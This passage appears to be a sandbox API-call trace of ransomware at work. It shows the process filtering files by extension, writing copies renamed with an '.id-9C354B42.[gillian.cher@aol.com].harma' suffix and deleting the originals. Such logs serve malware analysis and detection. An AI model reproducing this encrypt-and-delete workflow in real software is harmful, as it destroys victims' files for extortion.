(lpString=".1cd") returned 4 [0061.895] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0061.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0061.895] lstrlenW (lpString=".jpg") returned 4 [0061.895] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0061.895] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0061.895] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0061.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0061.896] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=2209) returned 1 [0061.896] CloseHandle (hObject=0x1f4) returned 1 [0061.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 0x20 [0061.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0061.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0061.897] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.897] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0061.898] GetLastError () returned 0x0 [0061.898] ReadFile (in: hFile=0x1f4, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x8a1, lpOverlapped=0x0) returned 1 [0061.900] WriteFile (in: hFile=0x1fc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x8b0, lpOverlapped=0x0) returned 1 [0061.901] ReadFile (in: hFile=0x1f4, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.901] WriteFile (in: hFile=0x1fc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0061.901] SetEndOfFile (hFile=0x1fc) returned 1 [0061.901] CloseHandle (hObject=0x1fc) returned 1 [0061.901] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.902] SetEndOfFile (hFile=0x1f4) returned 1 [0061.903] CloseHandle (hObject=0x1f4) returned 1 [0061.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0061.903] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 1 [0061.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0061.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0061.903] lstrlenW (lpString=".doc") returned 4 [0061.903] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.903] lstrlenW (lpString=".docx") returned 5 [0061.903] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0061.903] lstrlenW (lpString=".pdf") returned 4 [0061.903] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.903] lstrlenW (lpString=".xls") returned 4 [0061.903] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.903] lstrlenW (lpString=".xlsx") returned 5 [0061.903] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0061.903] lstrlenW (lpString=".ppt") returned 4 [0061.904] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0061.904] lstrlenW (lpString=".zip") returned 4 [0061.904] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.904] lstrlenW (lpString=".rar") returned 4 [0061.904] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.904] lstrlenW (lpString=".bz2") returned 4 [0061.904] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.904] lstrlenW (lpString=".7z") returned 3 [0061.904] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0061.904] lstrlenW (lpString=".dbf") returned 4 [0061.904] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0061.904] lstrlenW (lpString=".1cd") returned 4 [0061.904] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0061.904] lstrlenW (lpString=".jpg") returned 4 [0061.904] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0061.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0061.904] lstrlenW (lpString=".doc") returned 4 [0061.904] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.904] lstrlenW (lpString=".docx") returned 5 [0061.904] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0061.904] lstrlenW (lpString=".pdf") returned 4 [0061.904] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.904] lstrlenW (lpString=".xls") returned 4 [0061.904] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.905] lstrlenW (lpString=".xlsx") returned 5 [0061.905] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0061.905] lstrlenW (lpString=".ppt") returned 4 [0061.905] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0061.905] lstrlenW (lpString=".zip") returned 4 [0061.905] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.905] lstrlenW (lpString=".rar") returned 4 [0061.905] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.905] lstrlenW (lpString=".bz2") returned 4 [0061.905] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.905] lstrlenW (lpString=".7z") returned 3 [0061.905] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0061.905] lstrlenW (lpString=".dbf") returned 4 [0061.905] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0061.905] lstrlenW (lpString=".1cd") returned 4 [0061.905] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0061.905] lstrlenW (lpString=".jpg") returned 4 [0061.905] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.905] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0061.905] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0061.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0061.906] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=21812) returned 1 [0061.906] CloseHandle (hObject=0x1f4) returned 1 [0061.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0061.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0061.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0061.906] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.906] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0061.907] GetLastError () returned 0x0 [0061.907] ReadFile (in: hFile=0x1f4, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x5534, lpOverlapped=0x0) returned 1 [0061.911] WriteFile (in: hFile=0x1fc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x5540, lpOverlapped=0x0) returned 1 [0061.912] ReadFile (in: hFile=0x1f4, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.913] WriteFile (in: hFile=0x1fc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.913] SetEndOfFile (hFile=0x1fc) returned 1 [0061.913] CloseHandle (hObject=0x1fc) returned 1 [0061.913] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.913] SetEndOfFile (hFile=0x1f4) returned 1 [0061.914] CloseHandle (hObject=0x1f4) returned 1 [0061.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0061.914] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 1 [0061.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0061.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0061.915] lstrlenW (lpString=".doc") returned 4 [0061.915] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0061.915] lstrlenW (lpString=".docx") returned 5 [0061.915] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0061.915] lstrlenW (lpString=".pdf") returned 4 [0061.915] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0061.915] lstrlenW (lpString=".xls") returned 4 [0061.915] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0061.915] lstrlenW (lpString=".xlsx") returned 5 [0061.915] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0061.915] lstrlenW (lpString=".ppt") returned 4 [0061.915] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0061.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0061.915] lstrlenW (lpString=".zip") returned 4 [0061.915] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0061.915] lstrlenW (lpString=".rar") returned 4 [0061.915] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0061.915] lstrlenW (lpString=".bz2") returned 4 [0061.915] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0061.915] lstrlenW (lpString=".7z") returned 3 [0061.915] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0061.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0061.915] lstrlenW (lpString=".dbf") returned 4 [0061.915] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0061.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0061.915] lstrlenW (lpString=".1cd") returned 4 [0061.915] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0061.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0061.915] lstrlenW (lpString=".jpg") returned 4 [0061.915] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0061.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0061.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0061.916] lstrlenW (lpString=".doc") returned 4 [0061.916] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0061.916] lstrlenW (lpString=".docx") returned 5 [0061.916] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0061.916] lstrlenW (lpString=".pdf") returned 4 [0061.916] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0061.916] lstrlenW (lpString=".xls") returned 4 [0061.916] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0061.916] lstrlenW (lpString=".xlsx") returned 5 [0061.916] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0061.916] lstrlenW (lpString=".ppt") returned 4 [0061.916] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0061.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0061.916] lstrlenW (lpString=".zip") returned 4 [0061.916] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0061.916] lstrlenW (lpString=".rar") returned 4 [0061.916] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0061.916] lstrlenW (lpString=".bz2") returned 4 [0061.916] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0061.916] lstrlenW (lpString=".7z") returned 3 [0061.916] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0061.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0061.916] lstrlenW (lpString=".dbf") returned 4 [0061.916] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0061.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0061.916] lstrlenW (lpString=".1cd") returned 4 [0061.916] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0061.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0061.916] lstrlenW (lpString=".jpg") returned 4 [0061.916] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0061.917] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0061.917] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0061.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0061.917] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=2527) returned 1 [0061.917] CloseHandle (hObject=0x1f4) returned 1 [0061.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0061.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0061.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0061.917] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.918] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0061.920] GetLastError () returned 0x0 [0061.920] ReadFile (in: hFile=0x1f4, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x9df, lpOverlapped=0x0) returned 1 [0062.226] WriteFile (in: hFile=0x1fc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0062.227] ReadFile (in: hFile=0x1f4, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.227] WriteFile (in: hFile=0x1fc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0062.227] SetEndOfFile (hFile=0x1fc) returned 1 [0062.227] CloseHandle (hObject=0x1fc) returned 1 [0062.228] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.228] SetEndOfFile (hFile=0x1f4) returned 1 [0062.228] CloseHandle (hObject=0x1f4) returned 1 [0062.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0062.229] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 1 [0062.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0062.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0062.229] lstrlenW (lpString=".doc") returned 4 [0062.229] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.229] lstrlenW (lpString=".docx") returned 5 [0062.229] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0062.229] lstrlenW (lpString=".pdf") returned 4 [0062.229] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.229] lstrlenW (lpString=".xls") returned 4 [0062.229] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.229] lstrlenW (lpString=".xlsx") returned 5 [0062.230] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0062.230] lstrlenW (lpString=".ppt") returned 4 [0062.230] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0062.230] lstrlenW (lpString=".zip") returned 4 [0062.230] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.230] lstrlenW (lpString=".rar") returned 4 [0062.230] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.230] lstrlenW (lpString=".bz2") returned 4 [0062.230] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.230] lstrlenW (lpString=".7z") returned 3 [0062.230] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0062.230] lstrlenW (lpString=".dbf") returned 4 [0062.230] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0062.230] lstrlenW (lpString=".1cd") returned 4 [0062.230] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0062.230] lstrlenW (lpString=".jpg") returned 4 [0062.230] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0062.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0062.230] lstrlenW (lpString=".doc") returned 4 [0062.230] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.230] lstrlenW (lpString=".docx") returned 5 [0062.230] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0062.230] lstrlenW (lpString=".pdf") returned 4 [0062.230] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.230] lstrlenW (lpString=".xls") returned 4 [0062.231] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.231] lstrlenW (lpString=".xlsx") returned 5 [0062.231] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0062.231] lstrlenW (lpString=".ppt") returned 4 [0062.231] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0062.231] lstrlenW (lpString=".zip") returned 4 [0062.231] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.231] lstrlenW (lpString=".rar") returned 4 [0062.231] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.231] lstrlenW (lpString=".bz2") returned 4 [0062.231] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.231] lstrlenW (lpString=".7z") returned 3 [0062.231] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0062.231] lstrlenW (lpString=".dbf") returned 4 [0062.231] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 